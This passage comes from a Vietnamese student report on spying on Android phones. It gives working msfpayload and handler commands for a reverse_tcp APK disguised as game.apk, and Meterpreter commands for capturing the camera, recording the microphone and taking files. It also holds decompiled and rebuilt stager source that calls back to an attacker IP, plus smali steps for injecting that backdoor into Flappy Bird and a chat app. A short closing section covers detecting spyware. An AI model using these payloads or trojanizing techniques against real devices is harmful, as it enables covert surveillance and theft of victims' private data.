project (.DLL) files. Meterpeter và các thành phần mở rộng được inject vào trong bộ

nhớ RAM, hoàn toàn không được ghi lên đĩa nên có thể tr|nh được sự phát hiện từ các

phần mềm chống virus.

Tập lệnh trong meterpreter:

help: ............................. Hiển thị menu giúp đỡ.

Background: ............. đưa về msf promt và meterpreter được chạy nền.

cat: ................................ Hiển thị nội dung của một file.

cd & pwd: .................. chuyển đổi các thư mục hiện hành tại máy victim.

clearev: ........................ xóa toàn bộ log của Application, System and Security trên

hệ điều hành Windows.

Page 48: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

49

download: ................. tiến hành download một file từ victim về máy. Sử dụng “\\”

khi thao tác với các đường dẫn.

edit: ............................... edit một file ở máy victim. Sử dụng trình soạn thảo vim để

edit.

execute: ...................... chạy một lệnh trên máy victim.

getuid .......................... hiển thị thong tin user hiện tại meterpreter đang làm việc

trên máy victim.

hashdump ................. xem nội dung của SAM database.

idletime ...................... hiển thị thời gian mà người dung ở máy victim đã không hoạt

động.

ipconfig ...................... hiển thị các interface và các địa chỉ IP ở máy victim.

lpwd & lcd ................. thay đổi thư mục hiện hành tại máy local.

ls .................................... hiển thị danh sách các file trong thư mục hiện hành ở máy

victim.

migrate ....................... đính meterpreter vào một process khác đang hoạt động ở

máy victim.

ps .................................. hiển thị các process đang hoạt động ở máy victim

resource ..................... chạy các lệnh meterpreter được định nghĩa trong một text file

search .......................... tìm kiếm file trên máy victim

shell ............................. tiến hành thao tác với shell của máy victim

upload ......................... upload một file từ local lên máy vicim. Sử dụng “\\” khi thao

tác với các đường dẫn trên.

webcam_list ............. hiển thị danh sách các webcam có thể sử dụng ở máy victim

webcam_snap .......... chụp ảnh bằng webcam ở máy victim.

Ở đề tài nhóm chủ yếu tập trung vào khai thác bằng payload này.

Tiến hành khai thác các lỗ hổng trên Windows XP qua localhost

Kết quả cuối cùng của việc khai thác các lỗ hổng này là tạo được một session với máy

victim và đính payload meterpreter vào máy victim để chiếm quyền điều khiển và có

thể tiến hành cài backdoor vào máy nạn nhân.

4.5 Tạo mã độc trên Kali linux

Ta sử dụng Metasploit framework trên Kali Linux để tạo một payload, khi máy

android tải về và mở payload lên thì sẽ bị xâm nhập và điều khiển. Nếu sử dụng máy ảo

Kali Linux bằng Virtualbox, đầu tiên ta thiết lập phần Network như sau:

Page 49: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

50

Chú ý: Ở đây Attacker là Kali linux, victim là Sony Xperia Z1.

Bước 1: Cài đặt mạng cho kalilinux.

Khởi động máy ảo, vào menu Machine->Setting , chọn thẻ Network.

Chọn cấu hình mạng phù hợp, ở đây ta chọn mạng Briged Adapter và card mạng lan

đang sử dụng, sau đó khởi động kalilinux,

Bước 2: Mở Console, gõ lệnh ifconfig để xem địa chỉ IP,

Page 50: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

51

Bước 3: Tạo mã độc:

Gõ lệnh :

Msfpayload android/meterpreter/reverse_tcp lhost=<IP > lport=4444 R >

~/Desktop/game.apk

Thông số lhost chính là IP của máy attacker, còn lport là port listening của máy

attacker, có thể chọn port khác, không nên chọn các port thường dùng vì dễ đụng

cổng, còn game.apk chính tên file mã độc.

File apk sẽ được tạo ra ngoài desktop, đây chính là metasploit reverse_tcp

backdoor, ta copy vào thư mục var/www và khởi động webserver để share file apk,

Page 51: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

52

Ở victim sẽ vào địa chỉ http://<IP_attacker>/<filename>.apk để tải về.

Bước 4: Tấn công:

- Khởi động metasploit bằng lệnh msfconsole.

- Sau khi load msfconsole load xong, ta phải tao một handler để xử lý dữ liệu truyền

về bằng các lệnh sau :

use exploit/multi/handler => chọn handle để xử lý dữ liệu truyền về

set payload android/meterpreter/reverse_tcp => chọn payload tương tự như lúc

tạo mã độc

set lhost 192.168.10.104 => đây là IP của máy kalilinux như tạo mã độc.

Page 52: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

53

set lport 4444 => port giống như tạo mã độc ở trên

exploit => bắt đầu tấn công

- Chờ máy victim tải file apk về cài đặt và chạy …

Bước 5: Tấn công:

Trên máy android, vào trình duyệt, truy cập vào địa chỉ http://<ipattacker>/game.apk,

tải file về và cài đặt, sau khi run ta có giao diện sau:

- Tải mã độc trên android

- Cài đặt mã độc trên Android:

Page 53: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

54

Khi đó, trên kali sẽ có 1 session được mở ra, tại đây chúng ta đã có thể xâm nhập vào

máy android.

4.6 Sử dụng Meterpreter

Sử dụng camera :

- Để xem danh sách camera trên máy , gõ webcam_list:

- Để chụp hình, ta gõ lệnh webcam_snap -i X với X là id camera

Page 54: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

55

- Để quay phim lại , ta gõ lệnh webcam_stream –q 1 -i X với X là id camera, thông

số -q 1 có tác dụng giảm chất lượng hình ảnh để tối ưu đường truyền.

* Ghi âm:

Gõ lệnh record_mic –d Y với Y là thời gian thu âm, tính bằng giây, nếu không có

thông số trên, thời gian thu âm mặc định là 1 giây, file ghi âm sẽ được lưu vào folder

Home trên kalilinux.

* Tải và truy cập file

Gõ lệnh pwd để xem thư mục hiện hành

Gõ lệnh ls để xem danh sách file tại thư mục hiện hành

Page 55: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

56

Gõ lệnh cd <dir> để chuyển dến thư mục khác.

Gõ lệnh upload <file_name> để upload file tới victim

Gõ lệnh donwload <file_name> để tải file từ victim về.

Gõ lệnh cat <file_name> để xem nội dung file.

Page 56: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

57

Gõ lệnh edit <file_name> để chỉnh sửa file.

Gõ :quit để lưu và thoát khỏi trình biên tập file.

Gõ lệnh ps để xem các tiến trình đang chạy.

Gõ lệnh sysinfo để xem thông tin hệ thống.

Page 57: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

58

Ngoài ra còn nhiều lệnh khác nữa, có thể gõ lệnh help để biết để xem hướng dẫn.

Page 58: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

59

5. Tìm hiểu VPS, cài metasploit trên VPS và tạo mã độc

5.1 Máy chủ ảo VPS là gì?

Máy chủ ảo (Virtual Private Server -VPS) là phương pháp phân chia một

máy chủ vật lý thành nhiều máy chủ ảo. Trong khi trên một server chạy một

Share Host thì có thể có hàng trăm tài khoản chạy cùng lúc, nhưng trên server

chạy VPS thì con số này chỉ bằng 1/10. Do vậy, VPS có hiệu năng cao hơn Share

Host rất nhiều.

Mỗi máy chủ là một hệ thống hoàn toàn riêng biệt, có hệ điều hành riêng, có

toàn quyền quản lý root và có thể restart lại hệ thống bất cứ lúc nào. Do vậy,

VPS hạn chế 100% khả năng bị hack local.

Trên 1 server chạy Share Host có nhiều Website chạy chung với nhau, chung

tài nguyên server, nếu 1 Website bị tấn công Ddos, botnet quá mạnh sẽ làm ảnh

hưởng đến các Website khác cùng server, riêng server VPS, một tài khoản trên

VPS bị tấn công thì mọi tài khoản khác trên VPS đều hoạt động bình thường.

VPS dành cho các doanh nghiệp vừa và những trang Web lớn hoặc mã

nguồn nặng, nếu chạy trên Share Host sẽ không đáp ứng đủ yêu cầu.Tuy nhiên,

VPS đòi hỏi người sử dụng phải có thêm một số kiến thức về bảo mật, cấu hình

server,….

5.2 Đặc điểm về thông số VPS

Hoạt động hoàn toàn như một server riêng nên sở hữu một phần CPU riêng,

dung lượng RAM riêng, dung lượng ổ HDD riêng, địa chỉ IP riêng và hệ điều hành

riêng.

Tiết kiệm được nhiều chi phí so với việc thuê một server riêng.

Ngoài việc dùng VPS để thiết lập Web Server, Mail Server cũng như các ứng

dụng khác thì có thể cài đặt để thực hiện những yêu cầu riêng như truy cập Web

bằng trình duyệt Web trên VPS, dowload/upload bittorrent với tốc độ cao…

Trong trường hợp VPS bị thiếu tài nguyên thì có thể dễ dàng nâng cấp tài

nguyên mà không cần phải khởi động lại hệ thống.

Có thể cài lại hệ điều hành với thời gian từ 5-10 phút.

5.3 Cài đặt Metasploit trên VPS

Page 59: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

60

Tải gói cài đặt của Metasploit, ở đây ta có 2 phiên bản là Pro và Community. Ta

chọn phiên bản Community miễn phí và dùng cho nghiên cứu.

Sau khi tải về gói cài đặt của Metasploit Community ta cài đặt như những phần

mềm khác.

Chọn folder cài đặt:

Cổng của dịch vụ Metasploit sẽ sử dụng, mặc định là 3790:

Page 60: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

61

Chọn server và ngày hết hạn, để mặc định:

Quá trình cài đặt của Metasploit:

Tiến trình hoàn tất, chọn Finish và truy cập đến giao diện web của chương trình:

Sau khi Finish trình duyệt web mở lên và đi tới giao diện

Page 61: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

62

Click vào link: https://localhost:3790/ sẽ dẫn đến trang tạo tài khoản để login vào

Metasploit. Điền Username, Password sử dụng và một số thông tin bổ xung, rồi chọn

Create Account:

Trình duyệt chuyển đến trang nhập key để active chương trình, key này được gửi

miễn phí đến mail khi tải phần mềm. Sau khi điền key nhấn Activate License:

Page 62: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

63

Giao diện chương trình Metasploit Console

Page 63: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

64

5.4 Tạo mã độc và tấn công Android trên VPS Windows Server 2003

* Tạo mã độc:

Do chưa có thời gian nghiên cứu msfpayload trên window nên ta sẽ tạo file mã độc

trên kalilinux.

Khởi động kalilinux,mở console và gõ lệnh:

Msfpayload android/meterpreter/reverse_tcp lhost=<IP_VPS>

lport=<PORT_VPS> R > ~/Desktop/game.apk

Trong đó <IP_VPS> chính là địa chỉ IP của máy VPS, còn <PORT_VPS> chính là

port lắng nghe, nên chọn port ít dùng để hạn chế đụng port.

Chúng ta có thể xem IP trên VPS bằng cách khởi động cmd rồi gõ lệnh ipconfig .

Để kiểm tra port đã dùng chưa ta dùng lệnh netstat –a :

Các dòng có LISTENING là các port đã sử dụng, chẳng hạn port 1024 , 5555, 1026

…vv

*Tấn công:

Page 64: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

65

- Trên server VPS, khởi chạy msfconsole: vào thư mục cài đặt metasploit, click vào

file dev_msfconsole.bat

- Giao diện msfconsole:

- Sau khi load msfconsole load xong, ta phải tao một handler để xử lý dữ liệu truyền

về bằng các lệnh sau :

use exploit/multi/handler => chọn handle để xử lý dữ liệu truyền về

set payload android/meterpreter/reverse_tcp => chọn payload tương tự như lúc

tạo mã độc

Page 65: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

66

set lhost 192.168.10.104 => đây là IP của máy kalilinux như tạo mã độc.

set lport 4444 => port giống như tạo mã độc ở trên

exploit => bắt đầu tấn công, chờ victim kết nối vào.

- Chờ nạn nhân cài và chạy file apk và tấn công.

Sử dụng meterpreter giống như meterpreter trên Kali linux (tham khảo trang 53).

Page 66: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

67

6. Nghiên cứu chèn mã độc vào phần mềm hoặc game trên

Android * Ý tưởng : Khi phần mềm trên android chạy, đầu tiên nó sẽ gọi hàm

Oncreate() từ class được khai báo trên file AndroidManfest.xml, chúng ta sẽ

thực hiện chèn class mã độc vào file đó, sau đó thêm đoạn mã vào thân hàm

Oncreate() để gọi tới (kích hoạt) mã độc.

// Hiện thực: Viết lại reverse_tcp.apk

6.1 Các công cụ sử dụng

6.1.1 Super APK Tools

Super ApkTool là công cụ chỉnh sửa APK với giao diện và các chức

năng đầy đủ, khác với việc chúng ta vẫn phải thực hiện bằng các dòng lệnh

trong cmd. Đây là một công cụ rất hữu ích cho các vọc sĩ Android muốn

chỉnh sửa game, ứng dụng, ROM Android ... Đơn cử như việc bạn muốn

Việt hoá một phần mềm nào đó chẳng hạn, với Super ApkTool thì mọi thao

tác sẽ đơn giản hơn nhiều.

Ưu điểm vượt trội:

Loại bỏ đi những cấu hình phức tạp và câu lệnh khó nhớ bằng giao diện

GUI trực quan

Quy trình tự động hóa giúp tiết kiệm công sức và thời gian: build -> sign

-> install -> run (*)

Kết nối thông minh tới thiết bị Android hoặc máy ảo Android

Hỗ trợ tính năng kéo thả APK để tạo Project mới

Quản lý Project dễ dàng

Page 67: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

68

Hỗ trợ thao tác chỉnh sửa APK với nhiều tính năng mạnh mẽ

Tích hợp nhiều tools: ADB Shell, ADB LogCat, Fastboot, JarViewer...

Tính năng phần mềm:

Chỉnh sửa file APK

Quản lý Project

Quản lý và kết nối thiết bị Android hoặc máy ảo Android

Cài đặt Framework

Các công cụ làm việc với Android khác

6.1.2 Android SDK

Android SDK (Bộ công cụ phát triển phần mềm của Android) cung cấp

một tập hợp các công cụ phong phú, bao gồm trình gỡ rối, các thư viện, trình

mô phỏng thiết bị cầm tay, tài liệu, mã mẫu và các hướng dẫn. Các ứng dụng

Android có thể dễ dàng được phát triển khi sử dụng Eclipse (nền tảng phát

triển chính thức của Android) với sự trợ giúp của một trình cắm thêm được

gọi là ADT (Android Development Tools – Các công cụ phát triển Android).

Điều này giúp tận dụng các tính năng phong phú của Eclipse, như là hỗ trợ

nội dung, tìm kiếm Java, các tài nguyên mở, tích hợp JUnit và các khung

nhìn và các ảnh phối cảnh khác nhau để phát triển một ứng dụng Android.

Một mảng rộng rãi các widget (tiện ích), tương tự như các widget swing của

Java, tạo điều kiện thuận lợi trong việc tạo một giao diện người dùng phong

phú cho các ứng dụng. Một công cụ Javadoc chi tiết giúp cho quá trình phát

triển này khá dễ dàng.

Page 68: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

69

6.2 Nghiên cứu source code Reverse_tcp - Chạy SuperAPKTools, vào menu Tools->Jarviewer, kéo file mã độc apk

vào:

- Có 2 file cần chú ý là LoadStage và MainActivity:

+ Mã nguồn file LoadStage :

1. package com.metasploit.stage; 2. import android.content.Context; 3. import dalvik.system.DexClassLoader; 4. import java.io.DataInputStream; 5. import java.io.File; 6. import java.io.FileOutputStream; 7. import java.io.OutputStream; 8. import java.lang.reflect.Method; 9. import java.util.Random; 10. 11. public class LoadStage 12. { 13. private String randomJarName() 14. { 15. char[] arrayOfChar = "abcdefghijklmnopqrstuvwxyz".toCharArray(); 16. StringBuilder localStringBuilder = new StringBuilder(); 17. Random localRandom = new Random(); 18. for (int i = 0; i < 20; i++) 19. localStringBuilder.append(arrayOfChar[localRandom.nextInt(arrayOfCha

r.length)]); 20. return localStringBuilder.toString() + ".jar"; 21. } 22. 23. public void start(DataInputStream paramDataInputStream, OutputStream par

amOutputStream, Context paramContext, String[]paramArrayOfString) 24. throws Exception

Page 69: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

70

25. { 26. String str1 = randomJarName(); 27. String str2 = paramContext.getFilesDir().getAbsolutePath(); 28. byte[] arrayOfByte1 = new byte[paramDataInputStream.readInt()]; 29. paramDataInputStream.readFully(arrayOfByte1); 30. String str3 = new String(arrayOfByte1); 31. byte[] arrayOfByte2 = new byte[paramDataInputStream.readInt()]; 32. paramDataInputStream.readFully(arrayOfByte2); 33. FileOutputStream localFileOutputStream = paramContext.openFileOutput(s

tr1, 0); 34. localFileOutputStream.write(arrayOfByte2); 35. localFileOutputStream.close(); 36. Class localClass = new DexClassLoader(str2 + File.separatorChar + str1

, str2, str2, paramContext.getClassLoader()).loadClass(str3); 37. Object localObject = localClass.newInstance(); 38. localClass.getMethod("start", new Class[] { DataInputStream.class, Out

putStream.class, Context.class, [Ljava.lang.String.class}).invoke(localObject, new Object[] { paramDataInputStream, paramOutputStream, paramContext, paramArrayOfString });

39. } 40. }

+ Mã nguồn file MainActivity:

1. package com.metasploit.stage; 2. 3. import android.app.Activity; 4. import android.os.AsyncTask; 5. import android.os.Bundle; 6. import android.view.View; 7. import android.view.View.OnClickListener; 8. import java.io.DataInputStream; 9. import java.io.DataOutputStream; 10. import java.net.Socket; 11. 12. public class MainActivity extends Activity 13. { 14. private static final String LHOST = "XXXX192.168.10.203

"; 15. private static final String LPORT = "YYYY4444

"; 16. 17. private void reverseTCP() 18. { 19. try 20. { 21. Socket localSocket = new Socket("XXXX192.168.10.203

".substring(4).trim(), Integer.parseInt("YYYY4444 ".substring(4).trim()));

22. DataInputStream localDataInputStream = new DataInputStream(localSocket.getInputStream());

23. DataOutputStream localDataOutputStream = new DataOutputStream(localSocket.getOutputStream());

24. new LoadStage().start(localDataInputStream, localDataOutputStream, this, new String[0]);

25. localSocket.close(); 26. return; 27. } 28. catch (Exception localException) 29. {

Page 70: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

71

30. localException.printStackTrace(); 31. } 32. } 33. 34. private void startAsync() 35. { 36. new AsyncTask() 37. { 38. protected Void doInBackground(Void[] paramArrayOfVoid) 39. { 40. MainActivity.this.reverseTCP(); 41. return null; 42. } 43. } 44. .execute(new Void[0]); 45. } 46. 47. public void onCreate(Bundle paramBundle) 48. { 49. super.onCreate(paramBundle); 50. setContentView(2130903040); 51. findViewById(2131034112).setOnClickListener(new View.OnClickListener() 52. { 53. public void onClick(View paramView) 54. { 55. MainActivity.this.startAsync(); 56. } 57. }); 58. startAsync(); 59. } 60. }

Qua class LoadStage, ta thấy chương trình chỉ thực hiện quá trình tải đoạn mã thực

thi từ server về và chạy chúng. Toàn bộ phần tấn công sẽ do đoạn mã được tải về

hoàn toàn đảm nhiệm. Việc code lại reverse_tcp tương đối dễ dàng.

6.3 Rebuild reverse_tcp Dựa vào đoạn mã được bôi đậm ở trên, ta có thề viết lại reverse_tcp :

Mở Android SDK, tạo project mới.

Tạo class có tên là LoadStage:

1. package com.example.reverse_tcp; 2. 3. import android.content.Context; 4. import dalvik.system.DexClassLoader; 5. import java.io.*; 6. import java.net.Socket; 7. import java.util.Random; 8. import android.os.AsyncTask; 9. 10. public class LoadStage { 11. static class background implements Runnable { 12. Context context; 13. public background(Context context){

Page 71: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

72

14. this.context = context; 15. } 16. public void run() { 17. reverseTCP(context); 18. } 19. 20. } 21. public static void run(Context context) { 22. Thread thread = new Thread(new background(context)); 23. thread.start(); 24. System.out.println("started"); 25. } 26. public static class Task_ extends AsyncTask<Context, Void, String> { 27. @Override 28. protected String doInBackground(Context... params) { 29. reverseTCP(params[0]); 30. return null; 31. } 32. } 33. public static void reverseTCP(Context context) { 34. try { 35. Socket localSocket = new Socket( 36. "XXXX14.0.21.58 ".substring(4).trim(), 37. Integer.parseInt("YYYY4444 " 38. .substring(4).trim())); 39. DataInputStream localDataInputStream = new DataInputStream( 40. localSocket.getInputStream()); 41. DataOutputStream localDataOutputStream = new DataOutputStream( 42. localSocket.getOutputStream()); 43. new LoadStage().start(localDataInputStream,

localDataOutputStream, 44. context, new String[0]); 45. localSocket.close(); 46. return; 47. } catch (Exception localException) { 48. System.out.println(localException); 49. localException.printStackTrace(); 50. } 51. } 52. private String randomJarName() { 53. char[] arrayOfChar = "abcdefghijklmnopqrstuvwxyz".toCharArray(); 54. StringBuilder localStringBuilder = new StringBuilder(); 55. Random localRandom = new Random(); 56. for (int i = 0; i < 20; i++) 57. localStringBuilder.append(arrayOfChar[localRandom 58. .nextInt(arrayOfChar.length)]); 59. return localStringBuilder.toString() + ".jar"; 60. } 61. @SuppressWarnings({ "rawtypes", "unchecked" }) 62. public void start(DataInputStream paramDataInputStream, 63. OutputStream paramOutputStream, Context paramContext, 64. String[] paramArrayOfString) throws Exception { 65. String str1 = randomJarName(); 66. String str2 = paramContext.getFilesDir().getAbsolutePath(); 67. byte[] arrayOfByte1 = new byte[paramDataInputStream.readInt()]; 68. paramDataInputStream.readFully(arrayOfByte1); 69. String str3 = new String(arrayOfByte1); 70. byte[] arrayOfByte2 = new byte[paramDataInputStream.readInt()]; 71. paramDataInputStream.readFully(arrayOfByte2); 72. FileOutputStream localFileOutputStream = paramContext.openFileOutput( 73. str1, 0);

Page 72: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

73

74. localFileOutputStream.write(arrayOfByte2); 75. localFileOutputStream.close(); 76. Class localClass = new DexClassLoader(str2 + File.separatorChar + str1, 77. str2, str2, paramContext.getClassLoader()).loadClass(str3); 78. Object localObject = localClass.newInstance(); 79. 80. localClass.getMethod( 81. "start", 82. new Class[] { DataInputStream.class, OutputStream.class, 83. Context.class, (new String[1]).getClass() }).invoke( 84. localObject, 85. new Object[] { paramDataInputStream, paramOutputStream, 86. paramContext, paramArrayOfString }); 87. 88. } 89. }

- Sửa hàm Oncreate trong class MainActivity thành :

@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); LoadStage.run(this); }

Mục đích của LoadStage.run(this); là để khởi chạy hàm reverseTCP() trong một

thread riêng.

- Thực hiện build file:

6.4 Chuẩn bị cho việc chèn mã độc - Mở apktools , vào menu Project->New Project ,mở file vừa build được, chờ cho

chương trình decomplite hoàn thành, vào menu View-> Smalicode ,copy 3 file

class trong thư mục Smali/com/example/reverse_tcp/, nhớ copy luôn cả thư mục

vào một thư mục tạm nào đó.

Page 73: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

74

Mở file MainActivity.smali

# virtual methods .method protected onCreate(Landroid/os/Bundle;)V .locals 2 .parameter "savedInstanceState" .prologue .line 12 invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V .line 13 const/high16 v0, 0x7f03 invoke-virtual {p0, v0}, Lcom/example/reverse_tcp/MainActivity;->setContentView(I)V

.line 14 sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream; invoke-virtual {p0}, Lcom/example/reverse_tcp/MainActivity;->getFilesDir()Ljava/io/File; move-result-object v1 invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String; move-result-object v1 invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V .line 15 invoke-static {p0}, Lcom/example/reverse_tcp/LoadStage;->run(Landroid/content/Context;)V .line 16 return-void .end method

Ngay dòng .line 15 , ta nhận thấy chỉ cần chèn đoạn mã

invoke-static {p0}, Lcom/example/reverse_tcp/LoadStage;->run(Landroid/content/Context;)V

và copy thêm 3 file smali trên là ta có thể chèn reverse_tcp vào file apk.

6.5 Thực hiện chèn mã độc vào game flappy bird - Đã thực hiện chèn thành công vào game flappy bird và ứng dụng chat Ola. Về

nguyên lý thì chùng tương tự nhau nên ở đây sẽ Demo game flppy bird.

- Dùng công cụ SuperAPKTools, vào menu Project->New Project, chọn file

apk cần chèn mã độc vào.

- Mở smali code, copy thư mục vừa nãy vào.

- Chỉnh sữa file AndroidManfest.xml. để thêm các quyền cần thiết :

Page 74: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

75

Thêm đoạn code sau vào sau thẻ Androidmainfest :

<uses-permission android:name="android.permission.INTERNET" />

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION" />

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />

<uses-permission android:name="android.permission.READ_PHONE_STATE" />

<uses-permission android:name="android.permission.SEND_SMS" />

<uses-permission android:name="android.permission.RECEIVE_SMS" />

<uses-permission android:name="android.permission.RECORD_AUDIO" />

<uses-permission android:name="android.permission.CALL_PHONE" />

<uses-permission android:name="android.permission.READ_CONTACTS" />

<uses-permission android:name="android.permission.WRITE_CONTACTS" />

<uses-permission android:name="android.permission.RECORD_AUDIO" />

<uses-permission android:name="android.permission.WRITE_SETTINGS" />

<uses-permission android:name="android.permission.CAMERA" />

Sau khi chèn ta được:

<?xml version="1.0" encoding="utf-8"?>

<manifest android:versionCode="1" android:versionName="1.0" package="com.example.reverse_tcp"

xmlns:android="http://schemas.android.com/apk/res/android">

<uses-permission android:name="android.permission.INTERNET" />

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION" />

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />

<uses-permission android:name="android.permission.READ_PHONE_STATE" />

<uses-permission android:name="android.permission.SEND_SMS" />

<uses-permission android:name="android.permission.RECEIVE_SMS" />

<uses-permission android:name="android.permission.RECORD_AUDIO" />

<uses-permission android:name="android.permission.CALL_PHONE" />

<uses-permission android:name="android.permission.READ_CONTACTS" />

<uses-permission android:name="android.permission.WRITE_CONTACTS" />

<uses-permission android:name="android.permission.RECORD_AUDIO" />

<uses-permission android:name="android.permission.WRITE_SETTINGS" />

<uses-permission android:name="android.permission.CAMERA" />

<application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon

="@drawable/ic_launcher"android:debuggable="true" android:allowBackup="true">

<activity android:label="@string/app_name" android:name=".MainActivity">

<intent-filter>

<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />

</intent-filter>

</activity> </application>

</manifest>

- Thực hiện build file thử , xem class được gọi đầu tiên nằm ở đâu (lưu ý: phải

bật và kết nối tới máy ảo android )

Page 75: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

76

- Mở file ở đường dẫn vừa tìm được trong smali code, chèn thêm đoạn smali

code sau dòng bắt đầu bằng invoke-super :

Sau khi chèn :

- Mở file com/example/reverse_tcp/LoadStage.smali chỉnh sửa, tìm dòng

XXXX, chỉnh sửa lại IP attacker, tìm dòng YYYY, chỉnh sửa lại Port.

invoke-static {p0}, Lcom/example/reverse_tcp/LoadStage;->run(Landroid/content/Context;)V

Page 76: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

77

- Thực hiện build lại file.

- Sau khi chạy thử game, không nhận thấy bất kỳ vấn đề nào khác ngoài quá

trình cài đặt, phải xác nhận các quyền sử dụng Internet,Camera, Ghi âm,Danh

bạ …

Page 77: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

78

7. Cách phát hiện và phòng chống nghe lén

7.1 Các biểu hiện bất thường

Thông thường các phần mềm nghe lén chạy ngầm nên khó phát hiện, nhưng

chúng ta có thể dựa vào một số đặc điểm nghi vấn như:

Pin hao nhanh một cách bất thường, do phần mềm nghe lén hoạt động liên

tục ngay cả khi điện thoại của bạn không hoạt động.

Lưu lượng dữ liệu hoặc cước 3G tăng một cách đột biến. Đơn giản, phần

mềm nghe lén luôn phải dùng máy của bạn gửi các dữ liệu qua mạng đến

máy chủ hoặc email.

Thỉnh thoảng, chương trình GPRS hoặc 3G tự động kích hoạt, mặc dù bạn

không có động tay, động chân.

Máy đột nhiên chạy chậm không giống bình thường, bạn gọi điện hoặc lướt

web gì cũng thấy khó khăn.

Màn hình hay tự sáng bất thường rồi tắt.

7.2 Cách phát hiện phần mềm nghe lén

7.2.1 Thủ công

Cách 1: Vào phần Cài đặt ứng dụng đã tải về. Xem có phần mềm nào lạ và

nghi vấn không. Sau đó xem những quyền của ứng dụng đó: ghi âm, danh bạ, tin

nhắn…. Xem những ứng dụng nào được truy cập những quyền riêng tư.

Page 78: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

79

Cách 2: Kiểm tra phần sử dụng dữ liệu xem có phần mềm nào khả nghi sử

dụng lưu lượng dữ liệu cao không.

Cách 3: Kiểm tra tương tự với các ứng dụng chạy nền. Cài đặt ứng

dụng đang chạy.

Page 79: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

80

7.2.2 Sử dụng phần mềm

Anti Spy Mobile PRO - Phát giác phần mềm gián điệp trên smartphone

Anti Spy Mobile là ứng dụng được thiết kế với mục đích quét và tìm kiếm các phần

mềm gián điệp đã được cài đặt và đang hoạt động trên thiết bị của người dùng. Anti

Spy Mobile sẽ tự động quét quyển hạn và khả năng truy cập của từng ứng dụng trên

thiết bị, từ đó đưa danh sách những ứng dụng gián điệp, những ứng dụng khả nghi

(có khả năng là ứng dụng gián điệp) và ứng dụng sạch.

Anti Spy Mobile Pro sẽ cho phép bạn tự động quét hệ thống hàng ngày và sẽ hiện

thông báo nếu phát hiện vấn đề.

NQ Mobile Security

Page 80: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

81

NQ Mobile Security hỗ trợ quét virus những ứng dụng đã cài trên máy,

cũng như dữ liệu lưu trong máy và thẻ nhớ. Người dùng sẽ thấy yên tâm

hơn vì NQ Mobile Security sẽ dò tìm những ứng dụng đang tìm cách truy

cập vào danh bạ, tin nhắn, vị trí và thông tin của người dùng.

